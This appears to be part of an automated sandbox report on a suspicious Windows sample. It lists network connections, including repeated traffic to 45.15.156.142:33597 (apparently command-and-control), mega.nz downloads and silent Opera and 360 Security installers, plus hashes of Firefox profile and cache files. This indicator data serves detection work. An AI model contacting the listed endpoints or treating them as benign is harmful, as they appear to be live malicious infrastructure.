LU 66.203.125.15:443 g.api.mega.co.nz tcp
LU 66.203.125.13:443 g.api.mega.co.nz tcp
LU 66.203.125.13:443 g.api.mega.co.nz tcp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 13.125.203.66.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 35.190.80.1:443 a.nel.cloudflare.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 51.158.210.166:443 web.mymentalmentor.net tcp
US 8.8.8.8:53 top-fwz1.mail.ru udp
US 8.8.8.8:53 mc.yandex.ru udp
US 8.8.8.8:53 connect.facebook.net udp
US 8.8.8.8:53 web.mymentalmentor.net udp
RU 87.250.250.119:443 mc.yandex.ru tcp
RU 95.163.52.67:443 top-fwz1.mail.ru tcp
GB 163.70.151.21:443 connect.facebook.net tcp
NL 51.158.210.166:443 web.mymentalmentor.net tcp
NL 51.158.210.166:443 web.mymentalmentor.net tcp
US 8.8.8.8:53 67.52.163.95.in-addr.arpa udp
US 8.8.8.8:53 178.32.239.216.in-addr.arpa udp
NL 51.158.210.166:443 api.mymentalmentor.net tcp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 region1.google-analytics.com udp
NL 51.158.210.166:443 api.mymentalmentor.net tcp
GB 157.240.221.35:443 www.facebook.com tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
RU 95.163.52.89:443 privacy-cs.mail.ru tcp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 226.20.18.104.in-addr.arpa udp
US 8.8.8.8:53 226.21.18.104.in-addr.arpa udp
US 8.8.8.8:53 89.52.163.95.in-addr.arpa udp
US 8.8.8.8:53 rs.mail.ru udp
US 8.8.8.8:53 r.mradx.net udp
RU 95.163.41.56:443 rs.mail.ru tcp
US 8.8.8.8:53 net.geo.opera.com udp
RU 95.163.52.80:443 r.mradx.net tcp
RU 95.163.52.80:443 r.mradx.net tcp
RU 95.163.52.80:443 r.mradx.net tcp
RU 95.163.52.80:443 r.mradx.net tcp
NL 185.26.182.111:443 net.geo.opera.com tcp
US 8.8.8.8:53 111.182.26.185.in-addr.arpa udp
US 8.8.8.8:53 80.52.163.95.in-addr.arpa udp
US 8.8.8.8:53 stun3.l.google.com udp
US 74.125.250.129:19302 stun3.l.google.com udp
US 74.125.250.129:19302 stun3.l.google.com udp
US 74.125.250.129:19302 stun3.l.google.com udp
US 8.8.8.8:53 129.250.125.74.in-addr.arpa udp
N/A 127.0.0.1:51525 tcp
US 8.8.8.8:53 free.360totalsecurity.com udp
US 8.8.8.8:53 autoupdate.geo.opera.com udp
US 8.8.8.8:53 desktop-netinstaller-sub.osp.opera.software udp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
NL 82.145.216.19:443 autoupdate.geo.opera.com tcp
DE 151.236.118.173:443 free.360totalsecurity.com tcp
NL 82.145.216.19:443 autoupdate.geo.opera.com tcp
US 8.8.8.8:53 download.opera.com udp
US 8.8.8.8:53 121.217.145.82.in-addr.arpa udp
US 8.8.8.8:53 19.216.145.82.in-addr.arpa udp
US 8.8.8.8:53 173.118.236.151.in-addr.arpa udp
NL 185.26.182.117:443 download.opera.com tcp
US 8.8.8.8:53 download5.operacdn.com udp
US 104.18.10.89:443 download5.operacdn.com tcp
US 8.8.8.8:53 st.p.360safe.com udp
US 8.8.8.8:53 s.360safe.com udp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 iup.360safe.com udp
US 8.8.8.8:53 tr.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
IE 54.77.42.29:3478 st.p.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
DE 151.236.71.147:80 iup.360safe.com tcp
IE 54.76.174.118:80 tr.p.360safe.com udp
DE 151.236.71.147:80 iup.360safe.com tcp
DE 151.236.71.147:80 iup.360safe.com tcp
DE 151.236.71.147:80 iup.360safe.com tcp
DE 151.236.71.147:80 iup.360safe.com tcp
US 8.8.8.8:53 117.182.26.185.in-addr.arpa udp
US 8.8.8.8:53 89.10.18.104.in-addr.arpa udp
US 8.8.8.8:53 29.42.77.54.in-addr.arpa udp
US 8.8.8.8:53 141.179.29.52.in-addr.arpa udp
US 8.8.8.8:53 118.174.76.54.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
DE 151.236.71.147:80 iup.360safe.com tcp
US 8.8.8.8:53 int.down.360safe.com udp
DE 52.29.179.141:80 s.360safe.com tcp
US 8.8.8.8:53 sd.p.360safe.com udp
US 18.239.208.113:80 int.down.360safe.com tcp
US 18.239.208.36:80 int.down.360safe.com tcp
US 18.239.208.101:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 8.8.8.8:53 147.71.236.151.in-addr.arpa udp
US 18.239.190.120:80 sd.p.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
N/A 127.0.0.1:51565 tcp
US 8.8.8.8:53 18.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 36.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 101.208.239.18.in-addr.arpa udp
US 8.8.8.8:53 120.190.239.18.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
NL 82.145.216.19:443 autoupdate.geo.opera.com tcp
US 8.8.8.8:53 features.opera-api2.com udp
NL 82.145.216.15:443 features.opera-api2.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
US 8.8.8.8:53 15.216.145.82.in-addr.arpa udp
RU 95.163.52.67:443 top-fwz1.mail.ru tcp
RU 95.163.52.67:443 top-fwz1.mail.ru tcp
NL 45.15.156.142:33597 tcp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 download3.operacdn.com udp
SE 92.123.135.70:443 download3.operacdn.com tcp
US 8.8.8.8:53 70.135.123.92.in-addr.arpa udp
GB 157.240.221.35:443 www.facebook.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
US 18.239.208.36:80 int.down.360safe.com tcp
US 18.239.208.113:80 int.down.360safe.com tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 8.8.8.8:53 perr.lum-sdk.io udp
US 192.81.214.145:443 perr.lum-sdk.io tcp
RU 77.88.21.119:443 mc.yandex.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
US 8.8.8.8:53 119.21.88.77.in-addr.arpa udp
US 216.239.32.36:443 region1.google-analytics.com tcp
RU 95.163.52.67:443 top-fwz1.mail.ru tcp
NL 51.158.210.166:443 api.mymentalmentor.net tcp
US 18.239.208.101:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 192.81.214.145:443 perr.lum-sdk.io tcp
US 18.239.208.113:80 int.down.360safe.com tcp
US 18.239.208.36:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 18.239.208.101:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 18.239.208.113:80 int.down.360safe.com tcp
US 18.239.208.36:80 int.down.360safe.com tcp
US 18.239.208.18:80 int.down.360safe.com tcp
US 18.239.208.101:80 int.down.360safe.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
NL 45.15.156.142:33597 tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
DE 52.29.179.141:80 s.360safe.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 orion.ts.360.com udp
NL 82.145.215.152:443 orion.ts.360.com tcp
US 8.8.8.8:53 152.215.145.82.in-addr.arpa udp
RU 77.88.21.119:443 mc.yandex.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
NL 45.15.156.142:33597 tcp
GB 157.240.221.35:443 www.facebook.com tcp
RU 95.163.52.67:443 top-fwz1.mail.ru tcp
RU 77.88.21.119:443 mc.yandex.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
GB 157.240.221.35:443 www.facebook.com tcp
NL 51.158.210.166:443 api.mymentalmentor.net tcp
RU 77.88.21.119:443 mc.yandex.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
RU 77.88.21.119:443 mc.yandex.com tcp
NL 45.15.156.142:33597 tcp
RU 77.88.21.119:443 mc.yandex.com tcp

Files

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\activity-stream.discovery_stream.json.tmp

MD5 134192eb0c27a9dc5e2a7e894725e934
SHA1 3468ff47152064d8d3d699670a4db1b4226df217
SHA256 6c6f0f73f8bd0412f0b5078bbc7b281fee3bbea5342b4393171129880c86f048
SHA512 7720fd7befbf3149579c3d90759f28311de7ce96e5863f40009a0cc8b136b77f536f24f2eb4077ca816612abf76cb5302ae66e1a0812bd4abcc99e634cf37011

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\prefs-1.js

MD5 db92ca5b7d71c1c66c4dbb6a5df6f965
SHA1 5c271ce946a90b70f2d95fa8cf8ddcac5597c0a0
SHA256 7c16341dde117f64731063c1f539f960a892e0d8c1ff896b037d0a843daa9a6b
SHA512 5f1b778ff7de10b41293a53bccdb29f79e14ee6af337777981d5769b1536cdb21a70eedc5bfd1ac1850e925daa57af60a5fad5f48bc56590956a2e8d4a896bed

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 580791baa33d39ab17733a2a9f58fab2
SHA1 352cf5c94edaf8d8232d4165397d442de300b953
SHA256 80219c01ee409d7df5631a94ff22ce41b1e93a08bce575d6f06be7ef99317fc1
SHA512 9a516d743633d71a7e5b431b8fa5fb4a9cf6a5eabbd72a8bc58ee4a9e3981d2dd3a3cd70e2d248bb8196bd4329305b1bb6f1b9c1938c94d514e1c2a0cb9c245c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\prefs-1.js

MD5 bf57c46b745fedff54a095805341ff5e
SHA1 1e7314e8a56d44229b41f07ae8705ac97ba6ef4d
SHA256 ab0fb19f6a14962d8875b7f4c7b255c9c6d85d05ce5252eb9adda64f8473a9e7
SHA512 ebc4b11e0120c7a8dc9ec98a0504804a0ca1a77395a88361e8d52783600ae806bf2205a6333545b32e3334f03b6c1eb564e5cee809160ecc89ce85ae00ad9279

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 ac0196979b544a8802c4e2308ab711b1
SHA1 afdf9dae4fc9bb65ddedaf41204d0daf1cf94394
SHA256 9936cd9d3a48639a974a18cb549dc94ebdb37d1e9481eddc1e8313829840bc26
SHA512 1c8d9bef64ce7dd6c2dc0b55f7776592c9a1acf87891b11464668377cc04620e6bdccd926a3c02855b8f5664b584c7af79676a55bbca8356150e89719ddb5183

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\thumbnails\166bfc5aa5216b5b8ab03f56fd56b97d.png

MD5 6faef2eb1f94d6d76534903cd53111ac
SHA1 f1e9698fdb0ccb63ae2b1c9156fcce8d12587916
SHA256 7b9122a91b9e1dedf646e4b91506c6fe17ff58ae0f5c9dcaa73b223a3b7b7323
SHA512 65efdc751f7275b5a06a213baad2463e422142a97c3f1b77f229e98898f5912b4798b865b4027a882b32f46d1f8025ee05306341cadb154d852d9bb90c44f1b3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 47d79fcb2fcdd0e67d6ea3652959492b
SHA1 b7278b3324347b1aa409101a65980265068b2fa5
SHA256 61cee8f32c9d0f6845b56dd7023db9f3cf9a129c343e8dbe453b7a6f6f0aaea3
SHA512 13f19aad039d63214cd949a1fac7cfad1f4099d84d13f3e17cde207782e71d19f962b079f1fb2cd23137cb1b90ba178f6cc270d0eeb67f597269cf408c58d807

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 ded2fd312ead8af86117fc937bea4485
SHA1 52254a7705ff485d4bae6ba76a956f4aecc92cc1
SHA256 d4c08e9439d4ffee8bb56eb47f01683f39025b3dbe0b268d620c420fd536ed2a
SHA512 7d5347430e87d3d43c78b0d7a120cce9e79e7a51b5f1040ca24bdbeaeb6ce2ed6cad7ab55c790f9653de53eece8cf66b20f2981276316bb1c77d13c0e3e1e880

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 82280447e6fb4aac5a53e6d87a4a27b0
SHA1 82d6bbe70a9a56f301d882ad886a2bb8ca4dd49e
SHA256 6ac2e5d22007cd70f6117c71e3b9e16ba44efeb139d64e9080ff34431b3e6ec3
SHA512 6bdb2212de0a40478e1bf2b750821fdbbcb650061335ae38d21bf348c07c4086c04edd77a3b1e3674a2237c0f85c971d9cfe17ea0a0cde818e182ecb2b595609

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 b6bb7b36196c7f9dbb4b0194f32721ed
SHA1 a206e3e75bf73c9cefda6dc99c36fecebe02ec65
SHA256 27cca6a5430c7213aa9ff0ecd62e4e4ea04d1c16d7f8a2d8fe5087546930553d
SHA512 1eb1aa58f9dac3190d50d5c77aa97cc5e15ac32b066a66960a267487d3129452ba724a45a319103fa0467a41d2834ee6da796d829476819bd93e2f1f5861d37b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 c235911a3d4077a9cc08bb13beb7d18d
SHA1 0818c208790b3711081fea062ab1cd8b34fe6123
SHA256 044ef740964b85813153500fd7b846e2a795c4c2b15f3fcc4af4a4fef118f473
SHA512 3c7e2b63371cdfbc84e2e970e9a6be59f99003c075c3c2e49a82caf5b4f6c8161ed37b6a8a89a3413b1f8e3a95ec65e0b90231b1eda94b803a8e2a99b93eeff4

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 e4b2cc700c18da00fd81fa18f83e47d1
SHA1 017158605808587230b6dea39299a478d696415a
SHA256 27a0b36578b5628f4de3e52d2c0cb980666e2a83d5979c39dfff4853583759cf
SHA512 5aa8750178287d32f7175d1f426fa28590487332a2c18680a5e6e6d9565b39443c5ecc617811896b0bea3f66747209079c17d5de3f766547ea4a46fddc9b0534

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 8f69b681555755727ea474cae6a7f60c
SHA1 7f30db0fd8dc640758170daeaa5dc88aeef447a1
SHA256 3e39eafd52ae838fe0a726d62949246d16bdb410834fb3aa5f35ab67b6cff7a0
SHA512 99a8f15f800d8f916f9102832a45868f78cc8ef8cbde4b79e908cec614d75c12e66890b4709537f5dc7c74a41a6beedea0d19bf12ba8dafa71c38066928aa82d

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 2ccde71ffcd93a20af643e4da3888145
SHA1 78cc825c03cdd1e57dcff9793ae08fc3dbdc8a75
SHA256 d280b2c6e1ca6a86a83aba45d712ce44196d16574a5f06552b988fdb1af40e71
SHA512 85ffab9cd0a99abd87f9e17e646d8e961d0032a131397233dbb6c6022abfd06c8631d26858fa2dabf6e426107b182366e9525e8572b20473363ae31bdf57f962

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 595e926262c1a145c68eaaeb7b2b820d
SHA1 03f5d5ad165dbb0c240bf66c90c89096b5f7980e
SHA256 fc5dd5723a11e90ddd5c19f0b43dcb8c5a7ffe93635d664ebad7e452e95b98a3
SHA512 be76ce7819921ea8c32f7d62cc7ade06c21001579366d71b52abb35735880a4a6b0c2582910380ac09fb21160ae47a7ee5bcf35acc81883ffdeb02746db65c00

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\F4EFE37A30D0F14C6AC03FF7949A51CBC2EBC649

MD5 df329626fd327e1b400e7b98fd153212
SHA1 729b12b52fa578702ef8132236806b159568a308
SHA256 175684b81168ea6ace4ebe8f5acc5a27e75db0aa577d71304c9c74e5893c804a
SHA512 ee00c596b92bf07503a70105a67a59f25b9441ef83bd45a355f1e6a4407385deb7e61384bdeb51aa6a45af5536bbd7c645f08b16a79314b1da939b5601f067c5

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\prefs-1.js

MD5 32be482394376b8ce11f796866aa7922
SHA1 b0aa7f9f2985146a45d16789bd44fac91394326c
SHA256 7f7aa7f5bc7c4f1fa91a6328b40e11083f494adf6e156d78215c28fba9529c85
SHA512 4ed28422f9cab0d890c2f76c0e04fd2ffe0a3a2d873bdec1e6a9000c2c680f7608f3f8ac24f288f4d1907dd93b63c3c8c9f186d68b14c5bc892115d73bbca087

C:\Users\Admin\AppData\Local\Temp\tmpaddon

MD5 85430baed3398695717b0263807cf97c
SHA1 fffbee923cea216f50fce5d54219a188a5100f41
SHA256 a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e
SHA512 06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll

MD5 fe3355639648c417e8307c6d051e3e37
SHA1 f54602d4b4778da21bc97c7238fc66aa68c8ee34
SHA256 1ed7877024be63a049da98733fd282c16bd620530a4fb580dacec3a78ace914e
SHA512 8f4030bb2464b98eccbea6f06eb186d7216932702d94f6b84c56419e9cf65a18309711ab342d1513bf85aed402bc3535a70db4395874828f0d35c278dd2eac9c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info

MD5 3d33cdc0b3d281e67dd52e14435dd04f
SHA1 4db88689282fd4f9e9e6ab95fcbb23df6e6485db
SHA256 f526e9f98841d987606efeaff7f3e017ba9fd516c4be83890c7f9a093ea4c47b
SHA512 a4a96743332cc8ef0f86bc2e6122618bfc75ed46781dadbac9e580cd73df89e74738638a2cccb4caa4cbbf393d771d7f2c73f825737cdb247362450a0d4a4bc1

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\F8CBD54DDA10F4286A41EC6A537240712D6C2308

MD5 d5d3879cca2e7222afc7cff951ac789b
SHA1 0e94dc79ee25e788a74a4c2f844ce9c9c44727c9
SHA256 f875868c55be12d7716a05096c8ad477bf868d9b49e55ac1c5a3e131f9401d62
SHA512 55e654684b01c31d43a483497d64c20f9f7a341f79241ed41bb0556e28ecc45fc3d0790dda7ba1239da31e7d177b599a4d26ecd9d0f1c9d17d6046ed8884c53b

C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

MD5 a01c5ecd6108350ae23d2cddf0e77c17
SHA1 c6ac28a2cd979f1f9a75d56271821d5ff665e2b6
SHA256 345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42
SHA512 b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-widevinecdm\4.10.2557.0\LICENSE.txt

MD5 49ddb419d96dceb9069018535fb2e2fc
SHA1 62aa6fea895a8b68d468a015f6e6ab400d7a7ca6
SHA256 2af127b4e00f7303de8271996c0c681063e4dc7abdc7b2a8c3fe5932b9352539
SHA512 48386217dabf7556e381ab3f5924b123a0a525969ff98f91efb03b65477c94e48a15d9abcec116b54616d36ad52b6f1d7b8b84c49c204e1b9b43f26f2af92da2

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-widevinecdm\4.10.2557.0\manifest.json

MD5 8be33af717bb1b67fbd61c3f4b807e9e
SHA1 7cf17656d174d951957ff36810e874a134dd49e0
SHA256 e92d3394635edfb987a7528e0ccd24360e07a299078df2a6967ca3aae22fa2dd
SHA512 6125f60418e25fee896bf59f5672945cd8f36f03665c721837bb50adf5b4dfef2dddbfcfc817555027dcfa90e1ef2a1e80af1219e8063629ea70263d2fc936a7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll

MD5 33bf7b0439480effb9fb212efce87b13
SHA1 cee50f2745edc6dc291887b6075ca64d716f495a
SHA256 8ee42d9258e20bbc5bfdfae61605429beb5421ffeaaa0d02b86d4978f4b4ac4e
SHA512 d329a1a1d98e302142f2776de8cc2cd45a465d77cb21c461bdf5ee58c68073a715519f449cb673977288fe18401a0abcce636c85abaec61a4a7a08a16c924275

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.lib

MD5 688bed3676d2104e7f17ae1cd2c59404
SHA1 952b2cdf783ac72fcb98338723e9afd38d47ad8e
SHA256 33899a3ebc22cb8ed8de7bd48c1c29486c0279b06d7ef98241c92aef4e3b9237
SHA512 7a0e3791f75c229af79dd302f7d0594279f664886fea228cfe78e24ef185ae63aba809aa1036feb3130066deadc8e78909c277f0a7ed1e3485df3cf2cd329776

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.sig

MD5 937326fead5fd401f6cca9118bd9ade9
SHA1 4526a57d4ae14ed29b37632c72aef3c408189d91
SHA256 68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81
SHA512 b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\6864

MD5 63905d8e3a105461a7b2edd2086492f4
SHA1 e88706b31bb01cd6092850a79991ed1ec016661b
SHA256 bed9bfe18ccaee981572a10f42d0d9289cb9085842f35e9ff48e2bcdf051be44
SHA512 4f83fd238ea8931da6f8f4d30e0c1701e76a2dc6ec1088fd5caae35a3a7b4b83007d6c73f8c5c0ef3b7cd296c17824fffd441e9350579284be069b8c9df1489c

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\11286

MD5 ec93d56d20efd1d027293edc39c57502
SHA1 1ebd83a5e598ea044fdbd6e82f6e9a6523eed75d
SHA256 7c14703215330611c2c572ec0d2dffc2097422d7d0d242b01c4b1b4549b35ca2
SHA512 a33326a01a1e4bf80128e4174801dc66487957cd17ce700a6c1e200b3074c73ead4f7837815dce30f2ed9c27cfc8ff63238477f2de615aa4460fe5f30d735a54

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 31414e8c0ed91c12e7f81db3b6c989a4
SHA1 c38b7a5d1d980c0501e21790523ad91c2d5187b6
SHA256 644c1077d6fc204458b1bd248c24eae2dc8582b229835316afb49dafd7d01a33
SHA512 fb37f063e058177fdc1c5a8a79cf3d755693d58f79a208bf70c33ddc2d7acbd3d3da95ee7f965614cddb030a64e0de192f0656202ca32fc5a0d4b393bf6d884a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\27137

MD5 fe8d35cb498a834baa6df7fe578d4cd4
SHA1 6acfc12f6b3704db505983d2d936a8daab7bca1d
SHA256 d46a236c0a7b81432c95745d4aeb6e8d12c30fbcdd99c814f7d62fec4ade5853
SHA512 a80f63dae222983ec9b22f68c46c25dccead0dd8418896cfe36c1c173a436296c7d3931db31ebbce9f5beb657011a7174a44adb6432aab06c7c7b4e98350f334

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\18861

MD5 35acc37d93b64d29c913f06adced5e19
SHA1 9c49009e7afd6ef82c3ae438f85f3e48565b5d4d
SHA256 00b7480a8c157c1276e105e3cbe184f488f31e144602c545f016d10264195247
SHA512 f2012892ca6cd8ea565b6e86e3e4582a09aa654a718a117d59b9ce0ec76e702aaf8914fe33f3201f58d773aaeac9efc1b021ef4e3785e99cf94e6a968a1d3d91

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\11006

MD5 b680675aeccabf4c72115701103d77cc
SHA1 6968c55968785671e7c5edb21b5216390520255d
SHA256 517e22c5a2b596c2cedb4451e87d6ab24c5c7ed8c8f3f885669bbfb443fffdeb
SHA512 d255ea6717335d95400d347f1520f1bdf732be6b2a4b5af7dfe2fdae0961a08473e7540b5cdf957e427bfbd18fda45d4c67dc1bfd7caab9e77e1b1c71b33c9e7

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 d09c1c426ea10d8eb4b218b52690d4eb
SHA1 1464ee2fba2f0414ce53f26e2e067232fa8d02e0
SHA256 8e11516c4c3421f44a375d19943ed72d977a1c4fffb4474dc7cec1a30de71964
SHA512 2ae3044772208389d057ac6db12956f773fb9d36214fb7b79c49f17d28e360e733215cf666112204f59f455cf35df17c0cce0cd170a2509daf22671853c9f4a3

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\12141

MD5 54418c2bde8ba813acb85ec711fa12b1
SHA1 123d92c6c894d545d28d6730d71ca6387c7b3078
SHA256 a0bbb0acaf997c81cbb204380e2ff213c4356b9a0135990868a5a682b42cf6b2
SHA512 83e4609b232ac630d7aac636512db69271919701ab77afe15190a478d8e6d8ff3aed09ebe1d056474c36b69aa4cdd2d1c04c23069d371f753d09cc645bd3732a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\32431

MD5 fa7a7d6aa6d57e5014e2e13f80fdae02
SHA1 8000a9d54a393d3f54393d147517d35ef902490c
SHA256 f4ab358f4a879ab10ff84f0db7bdd2b815b70cd12fb03c6374580b1546185de0
SHA512 7d0db6bd5c13928bb25ed747e2b27380b93a6c5265896a958fab98cfd271eb70b14c550da523d96e514264371779ec4d13e8655e7f230cee91c3c922f3ac6c7d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\4511

MD5 0288a37c5374267a04d2831f8861d801
SHA1 dfe601bd47701c1b90be2d0455a4105c5cee3026
SHA256 bb0b764f8ab4f2df873d631e675b1abee84498236fca443ec5bf3233763bf3dd
SHA512 0c17ac0d8694baed6b6f980b6f1b1f408b36d1c63cd9bbccf9e07c6ebc00d16436680814077982f18b13efeeadeb32078ef6cf651d1e132c45415e6188f9f918

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\7649AC9C7C7CB41DE72295B5B8CD08C11CD9DEEB

MD5 675fb8f9dcb852247fe98867a4cb7a40
SHA1 a5bcb830eefa53671c022a408cafef038c583f69
SHA256 054c85aae92fd2c84d6d4956092cf47c0af0d9df1b1a273232b12acadb02ef7b
SHA512 9e926371ce8ec950135db6f73914187bad045f9219117449256c6686ed768c496769c2b306c1ac125298e26d41eb62cafed50d1e0a517ee8638929c54c2542ee

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\501BF99EB2CF53E783C9CE3F29C1991E6C6E7FB6

MD5 816529a1d347aeeb0b3c29ec60d45fd7
SHA1 ac62b5f4b077be2a94708673748d4fd04d8d9cc0
SHA256 a8d5e42195c907bf7328b8eab56f10835c912d8037957ed120dc18d65991514c
SHA512 ead5fe8ba5daa93e0e3dbba51c7a14ff8eba0aee9be9a9f6b36d79819edb42fb399129034f0b72e3faf4a6c2daa39c033ad839945291a45141de527dc287b52e

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\364583549B0419606F6E9E71FAB57390C4EE8230

MD5 fe6a6dce3a58baf7bff3ec79d556ba59
SHA1 b80373b56c7ec6f060fff8724d87e35b101a2220
SHA256 593db869ff35dba9e7d9babf12660183950a9bb80318e2468d72fcb924ea4134
SHA512 0667d8dc6c8337b363b77b1a0006e7f1f1d9ff31c7f08c6e24230dd4b15fb1966b093e4aec6d15360dc4f7bedaef057320420c0c044becb85e6266969270b523

